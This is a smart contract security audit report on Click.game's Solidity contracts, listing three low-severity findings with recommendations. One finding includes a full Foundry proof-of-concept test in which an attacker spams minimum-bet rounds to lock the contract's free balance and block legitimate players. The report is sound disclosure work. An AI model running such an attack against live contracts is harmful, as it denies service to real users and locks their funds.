SB SECURITY

Click.game

Security Review

Sep 18, 2025

Contents

1. About SBSecurity

SBSecurity is a duo of skilled smart contract security researchers. Based on the audits conducted and numerous vulnerabilities reported, we strive to provide the absolute best security service and client satisfaction. While it's understood that 100% security and bug-free code cannot be guaranteed by anyone, we are committed to giving our utmost to provide the best possible outcome for you and your product.

Book a Security Review with us at sbsecurity.net or reach out on Twitter @Slavcheww.

2. Disclaimer

A smart contract security review can only show the presence of vulnerabilities **but not their absence**. Audits are a time, resource, and expertise-bound effort where skilled technicians evaluate the codebase and their dependencies using various techniques to find as many flaws as possible and suggest security-related improvements. We as a company stand behind our brand and the level of service that is provided but also recommend subsequent security reviews, on-chain monitoring, and high whitehat incentivization.

3. Risk classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

3.1. Impact

- **High** - leads to a significant loss of assets in the protocol or significantly harms a group of users.
- **Medium** - leads to a moderate loss of assets in the protocol or some disruption of the protocol's functionality.
- **Low** - funds are not at risk.

3.2. Likelihood

- **High** - almost **certain** to happen, easy to perform, or highly incentivized.
- **Medium** - only **conditionally possible**, but still relatively likely.
- **Low** - requires specific state or **little-to-no incentive**.

3.3. Action required for severity levels

- High - **Must** fix (before deployment if not already deployed).
- Medium - **Should** fix.
- Low - **Could** fix.

4. Executive Summary

Overview

Project	Click.game
Repository	Private
Commit Hash	ec4fc1bfba177609bc4060d8c9ad23b45a8f1a5e
Resolution	ec4fc1bfba177609bc4060d8c9ad23b45a8f1a5e
Timeline	17 September - 18 September, 2025

Scope

Game.sol
GameAdmin.sol
GameStorage.sol

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	0
Low/Info Risk	3

5. Findings

5.1. Low severity

5.1.1. Hashes aren't EIP712 compliant

Severity: Low Risk

Description: None of the 3 hash signatures aren't compliant with EIP–712.

Therefore, the current approach will limit the UX, by not displaying the data in a human-readable format. Also, the usage of `encodePacked` is error-prone as it doesn't add padding, although it's cheaper, it's more prone to hash collisions.

Recommendation: Use EIP-712

Resolution: Acknowledged

5.1.2. 1st round after resuming from emergency withdraw will be bricked by previous round

Severity: Low Risk

Description: When `emergencyWithdraw` is invoked `_totalReserved` is set to 0, but there can be active game. Once contract is resumed and new round is created `_totalReserved` will be increased with the amount of the new game.

```
function emergencyWithdraw() external onlyOwner nonReentrant {
  GameStorage.Layout storage $ = GameStorage.layout();
  uint256 totalBalance = address(this).balance;

  if (totalBalance == 0) {
    revert NoFundsAvailable();
  }

  uint256 totalReservedCleared = $._totalReserved;

  // Clear all reservations - this will break active games
  $._totalReserved = 0;

  // Pause the contract to prevent new rounds
  $._paused = true;

  emit EmergencyWithdrawal($._treasury, totalBalance, totalReservedCleared);
  Address.sendValue(payable($._treasury), totalBalance);
}
```

The attack happens when the previous player can close his game (either loss or win) and decrease the `_totalReserved` with his round's `maxPayout`. Then the current ongoing round will be impossible to be closed until new round is created with sufficient reserved tokens, making a domino effect.

Recommendation: Force finalize the ongoing round when initiating `emergencyWithdraw` and reimburse the player.

Resolution: Acknowledged

5.1.3. User can spam new rounds with `_minBetAmount`, emptying the free balance for other players

Severity: Low Risk

Description: Users can spam new rounds without the intentions of playing the game, this will deplete the `availableBalance`, resulting in inability for the other honest to play the game.

Here's POC, that demonstrates how 10 ETH, initial funding can be taken by a player without the intention to play the game.

Can be executed with: `forge test --match-test testSpamAttackBlocksLegitimateUsers -vvv`

```
contract SpamAttackTest is Test {
    Game public game;
    address public attacker;
    address public legitimateUser;
    uint256 private signerPrivateKey;
    address public signer;

    uint256 public constant INITIAL_FUNDING = 10 ether;
    uint256 public constant MIN_BET = 0.001 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        legitimateUser = makeAddr("legitimateUser");
        signerPrivateKey = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef;
        signer = vm.addr(signerPrivateKey);

        // Deploy contract
        vm.startPrank(makeAddr("owner"));
        GameAdmin gameAdmin = new GameAdmin();
        Game gameImplementation = new Game();
        gameAdmin.deployProxy(address(gameImplementation), makeAddr("owner"), makeAddr("treasury"),
signer);
        game = Game(payable(gameAdmin.proxy()));

        // Fund contract and users
        vm.deal(address(game), INITIAL_FUNDING);
        vm.deal(attacker, 1 ether);
        vm.deal(legitimateUser, 1 ether);
        vm.stopPrank();
    }

    function _verifyBalanceLocked() internal view {
        uint256 totalReserved = game.getTotalReserved();
        uint256 contractBalance = address(game).balance;
        uint256 availableFunds = contractBalance - totalReserved;

        console.log("=== Balance Lock Verification ===");
        console.log("Contract Balance:", contractBalance / 1e18, "ETH");
        console.log("Total Reserved:", totalReserved / 1e18, "ETH");
        console.log("Available Funds:", availableFunds / 1e18, "ETH");
        console.log("Lock Percentage:", (totalReserved * 100) / contractBalance, "%");
    }
```

```
function testSpamAttackBlocksLegitimateUsers() public {
        // Record initial state
        uint256 initialBalance = address(game).balance;
        uint256 initialReserved = game.getTotalReserved();

        // Create multiple minimum bet rounds to fill available funds
        for (uint256 i = 0; i < 20; i++) {
            bytes32 roundId = keccak256(abi.encodePacked("spam", i));
            bytes32 commitHash = keccak256(abi.encodePacked("commit", i));
            bytes32 nonce = keccak256(abi.encodePacked("nonce", i));
            uint256 deadline = block.timestamp + 1 hours;

            // Create signature
            bytes32 messageHash = keccak256(
                abi.encodePacked(roundId, commitHash, uint256(5), uint256(25), nonce, deadline,
attacker, address(game), block.chainid)
            );
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, messageHash);
            bytes memory signature = abi.encodePacked(r, s, v);

            // Create round with minimum bet
            vm.prank(attacker);
            game.requestRound{value: MIN_BET}(roundId, 5, 25, commitHash, nonce, deadline, signature);
        }

        // Verify balance is locked by checking key metrics
        uint256 finalBalance = address(game).balance;
        uint256 totalReserved = game.getTotalReserved();
        uint256 totalBets = 20 * MIN_BET;
        uint256 availableFunds = finalBalance - totalReserved;

        // Show balance lock verification
        _verifyBalanceLocked();

        // 1. Verify contract balance increased by the bet amounts
        assertEq(finalBalance, initialBalance + totalBets, "Contract balance should increase by total
bets");

        // 2. Verify most funds are now reserved
        assertTrue(totalReserved > finalBalance * 90 / 100, "Over 90% of funds should be reserved");

        // 3. Verify available funds are minimal
        assertTrue(availableFunds < totalBets, "Available funds should be less than total bets");

        // 4. Verify reserved amount is much larger than bet amount
        assertTrue(totalReserved > totalBets * 100, "Reserved amount should be 100x larger than total
bets");

        // 5. Verify legitimate user is blocked due to insufficient funds
        bytes32 legitimateRoundId = keccak256(abi.encodePacked("legitimate"));
        bytes32 legitimateCommitHash = keccak256(abi.encodePacked("legitimate_commit"));
        bytes32 legitimateNonce = keccak256(abi.encodePacked("legitimate_nonce"));
        uint256 legitimateDeadline = block.timestamp + 1 hours;

        bytes32 legitimateMessageHash = keccak256(
            abi.encodePacked(legitimateRoundId, legitimateCommitHash, uint256(5), uint256(25),
legitimateNonce, legitimateDeadline, legitimateUser, address(game), block.chainid)
        );
        (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(signerPrivateKey, legitimateMessageHash);
        bytes memory legitimateSignature = abi.encodePacked(r2, s2, v2);

        // This should fail because available funds are insufficient
        vm.prank(legitimateUser);
        vm.expectRevert(Game.InsufficientFundsForReservation.selector);
        game.requestRound{value: 0.1 ether}(legitimateRoundId, 5, 25, legitimateCommitHash,
legitimateNonce, legitimateDeadline, legitimateSignature);
    }
```

Recommendation: Here are the options:

1. Manually clear rounds that haven't been started by making them as lost.

2. Enforce a delay between 2 new rounds from same player

Resolution: Acknowledged

5.2. Notes

Description:

1. `onlyAdmin` mapping not used

2. `roundId` argument when creating new round can be removed and sequential number can be used, which gets increased automatically.

3. `boardSize` argument when creating new round and `if (boardSize != BOARD_SIZE)` check can be removed. Use only `BOARD_SIZE` constant when adding new round to `_rounds` mapping.

4. Remove `GameStorage.Layout storage $ = GameStorage.layout()` from the `finalizeLostBatch`. It's not used

5. Use `ERC-7201` for the `GameStorage` contract. Otherwise, there's a risk from collisions in future upgrades.

Resolution: Acknowledged